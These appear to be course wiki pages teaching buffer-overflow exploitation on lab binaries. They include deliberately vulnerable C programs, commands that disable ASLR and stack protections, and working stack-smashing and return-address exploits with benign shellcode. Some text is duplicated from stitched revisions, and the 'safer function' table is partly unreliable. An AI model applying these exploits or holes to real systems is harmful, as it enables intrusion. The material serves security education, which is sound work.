Use echo with the flags -n and -e to write raw bytes to a file. The bytestring will contain 17 'A' characters and the bytes that make up the address of winner. These will be written to memory in reverse order, since on a little endian system each word will be interpreted in a way that assigns the lowest address byte to the least significant byte of the word.
<pre>
echo -ne '\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xd5\x61\x55\x56' > exploit.bin
</pre>
Assert that the bytes were written correctly to the file and, if necessary, make changes to it.
<pre>
hexdump -C exploit.bin
hexeditor exploit.bin
</pre>
<pre>
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
00000010 41 d5 61 55 56 |A.aUV|
00000015
</pre>
Run the program supplying the exploit file to it as user input.
<pre>
./stack-overflow < exploit.bin
</pre>
<pre>
Congratulations! You manipulated the flow of execution.
</pre>

=== Example 4 ===

== Courses ==

* [[Ausgewählte Kapitel der IT-Security]] (2024, 2025)

== References ==

* https://phrack.org/issues/49/14.html
* https://git.fh-campuswien.ac.at/CampusCyberSecurityTeam/ccst/-/tree/master/buffer_overflow

[[Category:Pentesting]]

Binary Exploitation (Buffer Overflow)

2024-12-11T17:58:46Z

AKofranek: /* Example 3 */

== Summary ==

This Pentesting documentation features [ANZAHL] examples, on how to exploit a binary with a buffer overflow.

The examples range from very simple ones to more advanced and complex versions.

== Requirements ==

* Operating system: Linux
* Packages: GNU Compiler Collection (GCC), GNU Debugger (GDB)

In order to complete these steps, you must have followed [[Buffer Overflows]] before.

The theoretical part is required to understand basic concepts needed for the examples.

== Description ==

All examples were created in Linux and written in C. To compile the C Code into an executable program the GNU Compiler Collection was used.

<pre>
sudo apt update
sudo apt install gcc-multilib
</pre>

=== Example 1 ===

This example is quite simple and should only demonstrate that a buffer overflow is possible in general. The buffer itself has a fixed length of 8 bytes. The user input is written to the buffer with the gets() function, which doesn’t check boundaries. Any input that is longer than 8 characters will therefore overwrite what comes after it. In this case the volatile integer will get overwritten. The program acts as a game and reveals a flag if the integer is successfully changed.

The program was compiled with this command:

<pre>
gcc -Wno-implicit-function-declaration -o overflow1 overflow1.c
</pre>

Input smaller than 8 ➜ program exits

[[File:Example1-small.png | 900px]]

Input bigger than 8 ➜ flag

[[File:Example1-enough.png | 900px]]

This is the code in C:

<pre>
#include <stdio.h>

int main() {
volatile int secret_treasure = 0;
char buffer[8];

printf("Welcome to the Treasure Hunt!\n");
printf("The buffer is set to 8. If you exceed this limit, you may reveal the treasure!\n");
printf("Initially, the treasure status is hidden...\n\n");

printf("Enter your code: ");
gets(buffer);

if (secret_treasure != 0) {
printf("\n**** Treasure Found! ****\n");
printf("Your treasure is: FLAG{BUFFER OVERFLOW}\n");
} else {
printf("\nSorry, your code was too small. No treasure found.\n");
}

return 0;
}
</pre>

=== Example 2 ===

This example uses a special method of buffer overflows called “stack smashing”. The goal is to execute shellcode by redirecting the execution flow. The return addres will be altered to the start of the buffer.

Since we work with exact addresses, we first disable ASLR for this session. Now the addresses won’t change anymore.

<pre>
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
</pre>

The program expects an argument as input. This argument will be copied to the buffer with the strcpy() function. Again, no bounds checking. If the input no not long enough to reach the return address, the program will exit normally. To simplify the search of finding the exact address of the buffer, the program will print the address for us.

This is the code in C:

<pre>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void vuln(char *input) {
char buffer[256];

printf("Buffer address: %p\n", (void *)buffer);

strcpy(buffer, input);
}

int main(int argc, char *argv[]) {
if (argc != 2) {
printf("Usage: %s <input>\n", argv[0]);
return 1;
}

vuln(argv[1]);

printf("Function executed without crashing.\n");
return 0;
}
</pre>

To compile the C code into a program the following command is used.

<pre>
gcc -m32 -no-pie -fno-stack-protector -z execstack -Wno-implicit-function-declaration vulnerable.c -o vulnerable
</pre>

# -m32 ➜ 32-bit file
# -no-pie ➜ start at a fixed address
# -fno-stack-protector ➜ disable canaries
# -z execstack ➜ make the stack executable
# -Wno-implicit-function-declaration ➜ supress warnings

The exploit itself is a python code which is passed as an argument to the program. The offset (padding) are the missing bytes to reach the return address. It can be calculated with the help of a pattern and the GNU Debugger (GDB). With this exact payload a padding of 134 is needed.

The return address will be the address of the buffer. Since the program prints the buffers address, we already know it. If the buffer address is not known in advance, a NOP sled can help to enhance the chance of hitting a possible address. As long as it returns to somewhere in the 100 NOPs, the shellcode will get executed.

While the shellcode would normally create a reverse shell, it only prints „YOU GOT HACKED!!“ to the terminal in our case. It is written in Hexadecimal and represents Assembly. Since little-endian is used, it has to be pushed to the stack in reverse order.

This is the code of the exploit in Python:

<pre>
import sys

nop_sled = b"\x90" * 100

shellcode = (
b"\x31\xc0\xb0\x04\x31\xdb\xb3\x01"
b"\x68\x45\x44\x21\x21" # !!DE
b"\x68\x48\x41\x43\x4b" # HACK
b"\x68\x47\x4f\x54\x20" # GOT
b"\x68\x59\x4f\x55\x20" # YOU
b"\x89\xe1\xb2\x0f\xcd\x80" # write
)

padding = b"A" * 134

return_address = b"\xb0\xcd\xff\xff"

payload = nop_sled + shellcode + padding + return_address

sys.stdout.buffer.write(payload)
</pre>

The exploit can be both, a python script and a perl command.

Python:

<pre>
./vulnerable "$(python3 exploit.py)"
</pre>

Perl:

<pre>
./vulnerable "$(perl -e 'print "\x90"x100 . "\x31\xc0\xb0\x04\x31\xdb\xb3\x01\x68\x45\x44\x21\x21\x68\x48\x41\x43\x4b\x68\x47\x4f\x54\x20\x68\x59\x4f\x55\x20\x89\xe1\xb2\x10\xcd\x80" . "A"x134 . "\xa0\xcd\xff\xff"')"
</pre>

Here is the String of our shellcode.
Since the shellcode is never terminated, the whole stack is printed.

[[File:Example2-hacked.png | 900px]]

=== Example 3 ===
The following program is vulnerable to stack-based buffer overflows due to the usage of
the insecure gets()-function. gets() is used to write user input into a character array. In
the source code, a function called winner() is defined, which is never called in main().
The objective of the following demonstration is to manipulate the execution flow in a
way that will force the program to execute the winner() function. To achieve that, the
saved return pointer from the stack frame of function will have to be overwritten with
the address of the winner function. Firstly, examine the source:
<pre>
#include <stdio.h>
#include <stdlib.h>

void function(int a, int b, int c) {
char buffer[5];
gets(buffer);
}

void winner(){
printf("Congratulations! You manipulated the execution flow.");
exit(0);
}

int main() {
function(1, 2, 3);
}
</pre>
Compile the source code into a 32-bit binary executable. Note that the compiler would prevent the usage of gets() unless explicitly instructed to ignore the warning using -Wno-implicit-function-declaration.
<pre>
gcc -m32 -Wno-implicit-function-declaration -o stack-overflow stack-overflow.c
</pre>
Open the binary with gdb, insert a breakpoint at the start of the main function and run the program until that first breakpoint.
<pre>
gdb stack-overflow
break main
run
</pre>
Since this binary was not compiled with the -g flag, one cannot list the C source code. Instead, it is possible to disassemble the executable byte code. One can then read the program in assembly language and insert breakpoints at respective instructions.
<pre>
disassemble main
</pre>
Examine the disassembled main function and find the call to function. Note how the stack is prepared (arguments pushed) before function is called.
<pre>
Dump of assembler code for function main:
0x56556203 <+0>: lea ecx,[esp+0x4]
0x56556207 <+4>: and esp,0xfffffff0
0x5655620a <+7>: push DWORD PTR [ecx-0x4]
0x5655620d <+10>: push ebp
0x5655620e <+11>: mov ebp,esp
0x56556210 <+13>: push ecx
=> 0x56556211 <+14>: sub esp,0x4
0x56556214 <+17>: call 0x5655623c <__x86.get_pc_thunk.ax>
0x56556219 <+22>: add eax,0x2ddb
0x5655621e <+27>: sub esp,0x4
0x56556221 <+30>: push 0x3
0x56556223 <+32>: push 0x2
0x56556225 <+34>: push 0x1
0x56556227 <+36>: call 0x565561ad <function>
0x5655622c <+41>: add esp,0x10
0x5655622f <+44>: mov eax,0x0
0x56556234 <+49>: mov ecx,DWORD PTR [ebp-0x4]
0x56556237 <+52>: leave
0x56556238 <+53>: lea esp,[ecx-0x4]
0x5655623b <+56>: ret
</pre>
Disassemble the function "function".
<pre>
disassemble function
</pre>
Find the call to gets.
<pre>
Dump of assembler code for function function:
0x565561ad <+0>: push ebp
0x565561ae <+1>: mov ebp,esp
0x565561b0 <+3>: push ebx
0x565561b1 <+4>: sub esp,0x14
0x565561b4 <+7>: call 0x5655623c <__x86.get_pc_thunk.ax>
0x565561b9 <+12>: add eax,0x2e3b
0x565561be <+17>: sub esp,0xc
0x565561c1 <+20>: lea edx,[ebp-0xd]
0x565561c4 <+23>: push edx
0x565561c5 <+24>: mov ebx,eax
0x565561c7 <+26>: call 0x56556050 <gets@plt>
0x565561cc <+31>: add esp,0x10
0x565561cf <+34>: nop
0x565561d0 <+35>: mov ebx,DWORD PTR [ebp-0x4]
0x565561d3 <+38>: leave
0x565561d4 <+39>: ret
</pre>
Insert a breakpoint at the instruction right after the call to gets. Later, the stack will be examined after the user input has happened. Then continue execution and enter some 'A' characters as user input.
<pre>
break *0x565561cc
continue
</pre>
Examine the current state of the CPU's registers.
<pre>
info registers
</pre>

<pre>
...
esp 0xffffcc50 0xffffcc50
ebp 0xffffcc78 0xffffcc78
...
eip 0x565561cc 0x565561cc <function+31>
...
</pre>
Inspect the current stack frame.
<pre>
info frame
</pre>
Note the saved EIP, which is also called ret or return pointer. This is the instruction address, that will be used to restore EIP with, once the function has finished executing and returns to it's caller.
<pre>
...
eip = 0x565561cc in function; saved eip = 0x5655622c
...
</pre>
One can examine which instruction is saved at that address.
<pre>
x/i 0x5655622c
</pre>
Confirm that it is actually the one right after the function call in \<main\> by looking at the disassembled main function again.
<pre>
disassemble main
</pre>
Now examine the stack to find the 'A' characters from the user input. Start from the address that EBP points to on the stack. It does not change during execution of the function and provides a good reference point.
<pre>
x/8xw $ebp
</pre>
Note that one can observe the saved frame pointer, sfp, which will be used to restore EBP once the function returns. This is the first word starting from the address that EBP points to. The second word is the return pointer. Afterwards, one can see the functions input arguments, as they have been pushed on the stack as part of the function prologue.
<pre>
0xffffcc78: 0xffffcc98 0x5655622c 0x00000001 0x00000002
0xffffcc88: 0x00000003 ... ... ...
</pre>
Now examine the stack further, subtracting from the address of ebp in order to find the buffer.
<pre>
x/8xw $ebp - 16
</pre>
<pre>
0xffffcc68: 0x41000000 0x00414141 0x00000000 0xf7f9ae14
0xffffcc78: 0xffffcc98 0x5655622c 0x00000001 0x00000002
</pre>
Alternatively, look at the output per byte.
<pre>
x/24xb $ebp - 16
</pre>
<pre>
0xffffcc68: 0x00 0x00 0x00 0x41 0x41 0x41 0x41 0x00
0xffffcc70: 0x00 0x00 0x00 0x00 0x14 0xae 0xf9 0xf7
0xffffcc78: 0x98 0xcc 0xff 0xff 0x2c 0x62 0x55 0x56
</pre>
<pre>
Find the start of the buffer, the first occurrence of the character 'A' in ASCII-representation 0x41. Calculate the distance to the return pointer: 17 bytes. Note that one would need to fill the buffer space with 17 bytes before one could start overwriting the return pointer.

Now one only needs to find the address of the winner function, which can be used to overwrite the return pointer with. Using the info functions command with the additional search string "winner" will return the address of the function winner.
</pre>
<pre>
info functions winner
</pre>
<pre>
All functions matching regular expression "winner":
...
0x565561d5 winner
</pre>
Note down the address and begin writing the exploit outside of gdb. Use the exit command to exit from gdb.

Use echo with the flags -n and -e to write raw bytes to a file. The bytestring will contain 17 'A' characters and the bytes that make up the address of winner. These will be written to memory in reverse order, since on a little endian system each word will be interpreted in a way that assigns the lowest address byte to the least significant byte of the word.
<pre>
echo -ne '\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xd5\x61\x55\x56' > exploit.bin
</pre>
Assert that the bytes were written correctly to the file and, if necessary, make changes to it.
<pre>
hexdump -C exploit.bin
hexeditor exploit.bin
</pre>
<pre>
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
00000010 41 d5 61 55 56 |A.aUV|
00000015
</pre>
Run the program supplying the exploit file to it as user input.
<pre>
./stack-overflow < exploit.bin
</pre>
<pre>
Congratulations! You manipulated the flow of execution.
</pre>

=== Example 4 ===

== Courses ==

* [[Ausgewählte Kapitel der IT-Security]] (2024, 2025)

== References ==

* https://phrack.org/issues/49/14.html
* https://git.fh-campuswien.ac.at/CampusCyberSecurityTeam/ccst/-/tree/master/buffer_overflow

[[Category:Pentesting]]

Buffer Overflows

2024-12-11T17:29:29Z

AKofranek: /* Further Reading */

[[File:Buffer-overflow.png|500px|thumb|right|Buffer Overflow examle <ref name="BOB">What is a Buffer Overflow Attack, [Online]. Available: https://www.wallarm.com/what/buffer-overflow-attack-definition-types-use-by-hackers-part-1. Accessed: Dec. 11, 2024</ref>]]

== Introduction ==
Buffer overflow is a security vulnerability that should not be underestimated, as it has been the most common type of vulnerability in the last decade. This type of attack is an essential part of all security attacks, as buffer overflow vulnerabilities are widespread and easy to exploit. Especially in the field of cyber attacks, they are exploited by users to gain access to vulnerable servers and control them.

== Definitions ==

=== Buffer ===

A buffer is defined as a '''limited''', contiguously allocated set of memory. The most common buffer in C is an array. <ref name=”RE1”>C. Anley, The Shellcoder’s Handbook: Discovering and Exploiting Security Holes, 2nd ed., Indianapolis: Wiley, 2007</ref>

=== Buffer Overflow ===

Buffer Overflows are possible because in the C and C++ languages there exists no inherent bounds-checking to ensure that data being copied into a buffer will not be larger than what the buffer was initialized to hold. Consequently, if the person writing the program has not explicitly coded the program to check for oversize input, it is possible for data to fill a buffer, and if that data is large enough, to continue to write past the end of the buffer. <ref name=”RE1”/>

== Common Weakness Enumeration (CWE) ==

The importance of addressing buffer overflow vulnerabilities can be seen by examining Mitre’s respective parent category: <ref name=”MIT23a”> MITRE, "CVE Search Results for 'buffer overflow'," [Online]. Available: https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=buffer+overflow. Accessed: Oct. 16, 2024. </ref>

* CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer

There is a large variety of direct and indirect child categories that further help create a taxonomy of the issues at hand. Some of those are listed here:
<ref name="MIT23b">MITRE, "CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer," [Online]. Available: https://cwe.mitre.org/data/definitions/119.html. Accessed: Oct. 16, 2024.</ref>
<ref name="MIT23c">MITRE, "CWE-788: Access of Memory Location After End of Buffer," [Online]. Available: https://cwe.mitre.org/data/definitions/788.html. Accessed: Oct. 16, 2024.</ref>

* CWE-788: Access of Memory Location After End of Buffer
* CWE-787: Out-of-bounds Write
* CWE-786: Access of Memory Location Before Start of Buffer
* CWE-125: Out-of-bounds Read
* CWE-120: Buffer Copy Without Checking Size of Input (’Classic Buffer Over- flow’)
* CWE-121: Stack-based Buffer Overflow
* CWE-122: Heap-based Buffer Overflow
* CWE-126: Buffer Over-read

== History ==
In the past, there were often a series of events executed with the help of buffer overflows. In 1980, the term Internet worm was a very well-known and sensitive topic because a worm was malicious software that reproduced itself and spread through network connections. It was called a Morris worm because on November 2, 1988, an event occurred that changed the way people thought about networks and about the Internet. On that day, tens of thousands of computers quickly and simultaneously became infected with a self-replicating computer program. Back then, computer science student Robert T. Morris created a computer worm that exploited an unsafe function, which at the time was very commonly used and distributed. Through the practical application of a buffer overflow, the computer worm spread itself around at an alarming rate and, going back, nearly shut down the entire internet. This situation resulted in Morris being the first person convicted under the Computer Fraud and Abuse Act, demonstrating further how dangerous buffer overflows can be. To this day, this attack is perhaps one of the most significant events in the history of computing. With buffer overflows, it was also possible to bypass various security measures. For example, buffer overflows could be used to remove software restrictions from firmware or to bypass copy protection. This was the case with the Android and iOS operating systems, where it was possible to remove various locks and modify the smartphone according to one's own wishes. For example, it was possible to install apps that were not available in the store elsewhere, change the boot animation, access hidden system files, remove manufacturer-specific apps, remove network locks, and much more. One keyword is "jailbreaking" for Apple devices and "rooting" for Android devices. On Nintendo's game console, a game called Pokemon Yellow could be changed from the inside by manipulating the program using shellcode.

While many of these events already reside in the past, buffer overflows do not. The exploit reoccurs frequently, so much so that in 2023 they still secured themselves a spot on the Common Weakness Enumeration/SANS list of the Top 25 Most Dangerous Software Errors. Whether through the adaptation of the exploit's mechanism or simply by focusing on a new set of targets, buffer overflows stay relevant. That's why, when dealing with cybersecurity of any sort, there is no way past them.

== Technical Background and Context ==

=== Memory Layout of a Process ===

Informally, a process is a '''program in execution'''. The status of the current activity of a process is represented by the value of the '''program counter/instruction pointer''' and the content of the processor’s '''registers'''. Different parts of the program are stored in different memory segments, as shown in the figure below.

[[File:Memory structure.png|center]][https://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf#page=8]

* Stack section: temporary data storage when invoking functions (such as function parameters, return addresses, and local variables)
* Heap section: memory that is dynamically allocated during program run time
* Data section: global variables (initialized and uninitialized)
* Code/Text section: the executable, machine-readable bytecode

=== Readable, Writeable, Executable Memory ===

Memory regions have different rights with respect to the process they belong to. For instance, the text section will usually be marked read only and any attempt to write to it will result in a '''Segmentation Fault'''.
<ref name="One1996">A. One, "Smashing the Stack for Fun and Profit," Phrack, vol. 7, no. 49, Nov. 1996.</ref>
All other sections have to be writeable in order for the process to work properly. <ref name=”RE1”/> Whether a section is '''executable''', will largely depend on the applied settings during compilation of the program and the platform on which it is executed.

=== The Stack and Important Control Structures ===

The stack’s primary purpose is to implement and help with the use of functions. A function call alters the flow of execution through a program. However, when its task is completed, a '''function returns control''' to the statement or instruction following the function call. Furthermore, the stack is used to allocate memory for the local variables used in the functions and to return values from the function. <ref name="One1996"/>

During a function call, arguments are pushed onto the stack in reverse order, and the '''return address''' (the instruction pointer EIP) is saved to enable returning to the caller after function execution. Key stack-related registers are:

* EIP (Instruction Pointer): Stores the next instruction's address.
* ESP (Stack Pointer): Points to the top of the stack.
* EBP (Base Pointer): Marks the base of the stack frame for the current function.

When a function is called, the stack is manipulated using '''PUSH''' and '''POP''' instructions. A '''return address''' is pushed onto the stack, allowing the program to return to the calling function. Buffer overflows can occur if a function does not properly limit the size of data written to buffers, potentially '''overwriting the return address'''. An attacker may '''overwrite the return pointer to redirect the flow of execution'''.

== Causes ==

=== C/C++: Vulnerable Functions ===
C is the programming language most affected when it comes to creating buffer overflows, closely followed by C++.
<ref name="Howard2009">M. Howard, D. LeBlanc, and J. Viega, *24 Deadly Sins of Software Security: Programming Flaws and How to Fix Them*, 1st ed. USA: McGraw-Hill, Inc., 2009.</ref>
When writing C code the programmer is responsible for '''data integrity'''. If this responsibility were shifted over to the compiler, the resulting binaries would be significantly slower and less efficient. Furthermore, C’s simplicity increases the programmer’s control. However, this can result in programs that are vulnerable to buffer overflows and memory leaks if the programmer isn’t careful.
<ref name="Erickson2008">J. Erickson, *Hacking: The Art of Exploitation*, 2nd ed. San Francisco: No Starch Press, 2008.</ref>

Some '''vulnerable functions''' from the C/C++ standard are listed here, each with their respective, saver counterpart:
{|class="wikitable"
! Vulnerable || Safer
|-
| strcpy() || strncpy()
|-
| gets() || fgets()
|-
| strcat() || strncat()
|-
| memcpy() || memmove()
|-
| scanf() || sscanf()
|-
| memset() || -
|}

=== IoT/Embedded Devices ===
"The constrained resources of embedded systems leads to the predominant use of the C language. This, along with the tight processing requirements, leave associated devices open to BOF based attacks." <ref name=””> G. Mullen and L. Meany, "Assessment of Buffer Overflow Based Attacks On an IoT Operating System," 2019 Global IoT Summit (GIoTS), Aarhus, Denmark, 2019, pp. 1-6, doi: 10.1109/GIOTS.2019.8766434.
</ref>

== Dangers ==

Arguably, the most significant consequence of a buffer overflow is when the attacker is able to execute their own malicious shellcode. Which is also referred to as arbitrary code execution. This way it is completely up to the attacker itself what they will do with the same privileges as the program on the level of the current user. Create a reverse shell to execute remote code, stealing data or even manipulate all settings of the system. By getting elevated privileges, the attacker would also be able to run code as an administrator or root. Another potential consequence is a Denial of Service (DoS) attack. Instead of executing code, the goal is to cause unpredictable behavior or crash the system by overwriting as much data as possible until the program is unable to handle it. The downtime of a program can be costly for large organizations. Data corruption, system instability, and information disclosure, are all potential consequences that can be caused by a buffer overflow. Consequently, it is up to the creativity of the attacker once a vulnerable code is identified.

Summed up these four are the main dangers:

* Data Corruption
* Program Crashes
* Exploitation: Control Flow Alteration
* Exploitation (via Shellcode Injection): Arbitrary Code Execution

== Types of Buffer Overflow Vulnerabilities ==

The following section will introduce descriptions and simple examples related to the most relevant categories of buffer overflow vulnerabilities. The distinction between Buffer Over-Read and Buffer Over-Write provides a basic categorization of the issues at hand. The respective sections will include simple, illustrative examples. The sections on Stack Buffer Overflow and Heap Buffer Overflow will present more complex concepts, introducing the mechanics and control structures of each memory region and how they could potentially be exploited. Note that Over-Read and Over-Write vulnerabilities can occur in both sections of process memory.

=== Buffer Over-Read ===

The following is a simple example of a Out-of-bounds read operation, that can be performed by a C program:

<pre>

#include <stdio.h>
#include <string.h>

int main(){

int array[5] = {1 ,2 ,3 ,4 ,5};
printf("%d\n", array[5]);

}
</pre>

This program illustrates a common error that new programmers might run into when learning about arrays: Referencing array[5] will eventually attempt to access its sixth element, although the array was only initialized to hold five elements. When this program is run, it will read beyond the bounds of the array and might produce unexpected results.

=== Buffer Over-Write ===
In this section, a simple Out-of-bounds write vulnerability will be examined. Although this particular example showcases a stack-based buffer overflow, we will use it to introduce the general concept of a over-write vulnerability and delve into specifically exploiting the stack's mechanics and control structures in the later section "Stack-based Buffer Overflow".

The following program deliberately uses the insecure strcpy()-function to copy a large string into a buffer, which is actually too small for the string. The following listing displays the complete source code.

<pre>
#include <stdio.h>
#include <string.h>

int main() {

char B[3] = "03"; // gets higher address on stack
char A[8] = "0000000"; // gets lower address on stack

printf("Before overflow: A = %s, B = %s\n", A, B);

strcpy(A, "excessive"); // dangerous
printf("After overflow: A = %s, B = %s\n", A, B);

return 0;
}
</pre>

Console output running the program (bash).
<pre>
Before overflow: A = 0000000, B = 03
After overflow: A = excessive, B = e
</pre>

Inspection of memory before the overflow (gdb).
The memory addresses on the left are the locations of the two buffers.
<pre>
0xffffcc85: 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x00
0xffffcc8d: 0x30 0x33 0x00
</pre>

Inspection of memory after the overflow (gdb).
<pre>
0xffffcc85: 0x65 0x78 0x63 0x65 0x73 0x73 0x69 0x76
0xffffcc8d: 0x65 0x00 0x00
</pre>

=== Integer Overflow ===
Integer overflows occur when an arithmetic operation attempts to generate a value that lies outside a range that can be represented with a specified number of bits. The most common result of an overflow is that the least significant representable bits of the result are stored. An overflow condition can lead to results that are equivalent to unintended behavior. In particular, if the possibility is not expected, an overflow can affect the reliability and safety of a program. A code example is shown below.

unsigned char a = 255;
unsigned char b = 2;
unsigned char Result = a + b;

The data type unsigned char is used, which comprises 8 bits, and the value range is from 0 to 255. For the variable "a," the value 255 is assigned, and for the variable "b," the value 2 is assigned. If an arithmetic operation is performed, we would get a result that requires more bits than are present to represent. The corresponding dual calculation is shown below.

11111111 (a)
+ 00000010 (b)
----------
100000001 (Result)

The front one, the ninth bit, is no longer contained in the 8 bits of the data type ''unsigned char''. If only the last 8 bits were considered, the result would be 1 and not 257.

The Ariane 5 disaster of 1996 illustrates what can happen when integer overflows are not handled properly in the real world. The rocket was destroyed 37 seconds after launch because of a severe software error, which was caused by an integer overflow. This shows how unresolved integer overflows can have disastrous consequences, particularly in safety-critical systems like aerospace control software. The incident could have been prevented if there had been more robust input validation and error handling procedures, particularly during the conversion process from floating-point to integer data types. <ref name=”AR1”>Innovative Bytes, Ariane-5 disaster - (integer overflow - space requirements), Medium, October 2022</ref>

=== Stack-based Buffer Overflow ===

If more data is written to a buffer than the size assigned to it, there is a chance it could overwrite the adjacent memory. This is called a stack overflow. Since the memory overwritten contains valuable information like the return address, this exploitation is a prime target. As an example, consider an input string that gets copied to the stack from a vulnerable function, that does not validate the size. Whatever was written to this string, as long as it is longer than the size of the buffer, will overwrite memory next to the it. If an attacker creates a string that reaches the return address with a new address on purpose, the program will jump to this exact location after its execution. This type of attack is called "stack smashing". It is frequently used and is well-known in the context of buffer overflows. A common problem of stack smashing is how to guess the starting address of the own shellcode. Just by guessing or brute-forcing the exact return value, it would take the attacker a long time and an enormous number of attempts. This can be minimized by inserting a series of NOP instructions in front of the shellcode. A NOP instruction is a special operation which will push the execution one by one until it hits the malicious code. Adding as many NOP instructions as possible increases the chances of reaching the desired code. This means that as long as the return address points to any NOP instruction, the application will execute the shellcode and we do not have to directly hit address where the code starts.

Stack overflows which alter return addresses, are one of the most dangerous methods of gaining unauthorized access to a system. They allow an attacker to circumvent standard program execution and potentially gain complete control. <ref name="One1996"/>

=== Heap-based Buffer Overflow ===
A program may not know at compile time how much memory it will need. Such segments can be allocated dynamically, during runtime, and will be placed on the heap.
Special system calls brk() and mmap() can be used by Linux programs to achieve that.
The functions malloc(), calloc(), realloc() and free() provide convenient wrapper functions around these system calls and help managing those memory segments. <ref name=”RE1”/>

To be efficient, any malloc() implementation stores a
lot of meta-data about the location of the chunks, the size of the chunks, and perhaps
some special areas for small chunks. It also organizes this information. In dlmalloc, it is
organized into buckets, and in many other malloc implementations it is organized into
a balanced tree structure. This information is stored in two places: in global variables
used by the malloc() implementation itself, and in the memory block before and / or
after the allocated user space. Thus, the heap contains important information about
the state of memory stored directly after any user-allocated buffer. <ref name=”RE1”/>

=== Use-After-Free Vulnerability ===
Use-after-free (UAF) vulnerabilities are a specialized form of a memory management bug occurring when a program tries to use a memory object even though it is already deallocated. This vulnerability can happen, because the pointer to the corresponding memory location may remain accessible, despite the memory itself being marked as accessible for other allocations. If a program tries to access this now-freed memory, it could cause some unexpected behavior or even a security breach. Since an attacker could exploit this "dangling pointer" to gain unauthorized access to the system or leak information meant to be kept confidential. <ref name="UAF">Byoungyoung Lee, Chengyu Song, Yeongjin Jang, Tielei Wang, Taesoo Kim, Long Lu, and Wenke Lee. Preventing use-after-free with dangling pointers nullification. In Network and Distributed System Security Symposium, 2015</ref>

== Mitigation Techniques and How to Disable Them ==
This section will briefly introduce some mitigation techniques that can potentially prevent buffer overflow attacks. First, it will explain the basic concepts in a simple way, and second, it will provide brief guides on how to disable certain mitigation techniques for research purposes.

=== Adress Space Layout Randomisation (ASLR) ===
ASLR randomizes the memory address space layout of processes, making it harder to predict the location of specific functions or buffers. <ref name=”RE1”/> Since code reuse attacks (e.g., ROP attacks) require the memory addresses of gadgets to be known to an attacker, techniques to randomize their entry points have become increasingly popular.

'''ASLR can be temporarily disabled''' at the system level (Linux):
<pre>
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
</pre>
Re-enable after testing:
<pre>
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
</pre>

=== Non-executable Stack (nx-stack) ===
A non-executable stack, or nx-stack, prevents execution of code in the stack, when designated as non-executable, mitigating buffer overflow attacks that inject shellcode into that region. <ref name=”RE1”/>

To '''disable nx-stack''' on a program, use the -z execstack option during compilation. This allows execution of code in the stack memory:
<pre>
gcc -z execstack -o vulnerable_program source.c
</pre>

=== Data Execution Prevention (DEP) ===

Data Execution Prevention (DEP) is a security feature originally developed by MicrosoftR© for Windows XP SP2. There are two basic variants: hardware-based DEP and software-based DEP. If supported by the CPU as well as the process, hardware DEP will be employed; otherwise, DEP has to be carried out in software, which is part of the Windows operating system. The basic functionality of DEP is to prevent applications from executing code in a non-executable area of memory.

=== Stack Canaries ===

Stack canaries are small random values placed on the stack to detect and prevent buffer overflow attacks. If an overflow occurs and modifies the stack, the canary value will change, triggering a security alert or crash. <ref name=”RE1”/>
Typical types of canaries, which are supported by security hardening technologies like ProPolice or Stackguard (GCC), are terminator canaries, random canaries, and random XOR canaries.

To '''disable stack canaries''' when compiling a program, use the -fno-stack-protector option with gcc:
<pre>
gcc -fno-stack-protector -o vulnerable_program source.c
</pre>

== Conclusion ==
Since the rise of C in the early 1970s, buffer overflows have become a serious security vulnerability. Even though high-level programming languages are typically not affected, the number of vulnerable systems is actually rising. At the same time, a wide array of countermeasures are also increasingly adopted and applied. Features like executable space protection (e.g., data execution prevention under Windows) have already been deployed since the mid-2000s, and on the compiler side, technologies like Stackguard support several detection and prevention mechanisms (e.g., different types of canaries). Furthermore, almost every widely used operation system supports Address Space Layout Randomization in order to minimize the attack surface for buffer overflow attacks. For example, at the beginning of 2020, most of the bigger operating systems (Linux, Windows, macOS, iOS, Android, Solaris, OpenBSD, etc.) will offer support for ASLR.

Another key point is the expansion of the Internet of Things (IoT). These widely distributed networks of hardware endpoints have deemed themselves the perfect target for buffer overflow attacks. This stems from the fact that IoT applications mostly utilize low-level, closely hardware-related languages such as C and C++, both of which are almost exclusively for buffer overflows.

== References ==

<references />

=== Further Reading ===

* [http://phrack.org/issues/49/14.html Smashing the stack for fun and profit (1996, Aleph One)]
* [http://phrack.org/issues/57/8.html Vudo malloc tricks (2001, MaXX)]
* [http://phrack.org/issues/60/10.html#article Basic Integer Overflows (2002, Blexim)]
* [https://doi.org/10.1109/SP.2013.45 Just-In-Time Code Reuse: On the Effectiveness of Fine-Grained Address Space Layout Randomization (2013, Snow et al.)]
* [http://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf Buffer Overflow for Dummies (2002, Josef Nelißen)]
* [https://www.hackingarticles.in/a-beginners-guide-to-buffer-overflow/ A Beginner’s Guide to Buffer Overflow (2021, Raj Chandel)]
* [https://repository.unikom.ac.id/56387/1/24_Deadly_Sin.pdf 24 Deadly Sins of Software Security (2009, Michael Howard, David LeBlanc, and John Viega)]
* [https://scholar.google.com/scholar_case?case=551386241451639668 United States v. Morris (1991, U.S. Dept. of Justice)]
* [https://cwe.mitre.org/top25/archive/2023/2023_top25_list.html 2023 CWE Top 25 Most Dangerous Software Weaknesses (2023, CWE)]
* [https://computersciencewiki.org/index.php?title=Stack_memory Stack memory (2023, Bill MacKenty)]
* [https://computersciencewiki.org/index.php?title=Heap_memory Heap memory (2023, Bill MacKenty)]
* [https://dhanvina.medium.com/ariane-5-disaster-integer-overflow-space-requirements-b96f4dda8bdb Ariane 5 (2022, Innovative Bytes)]
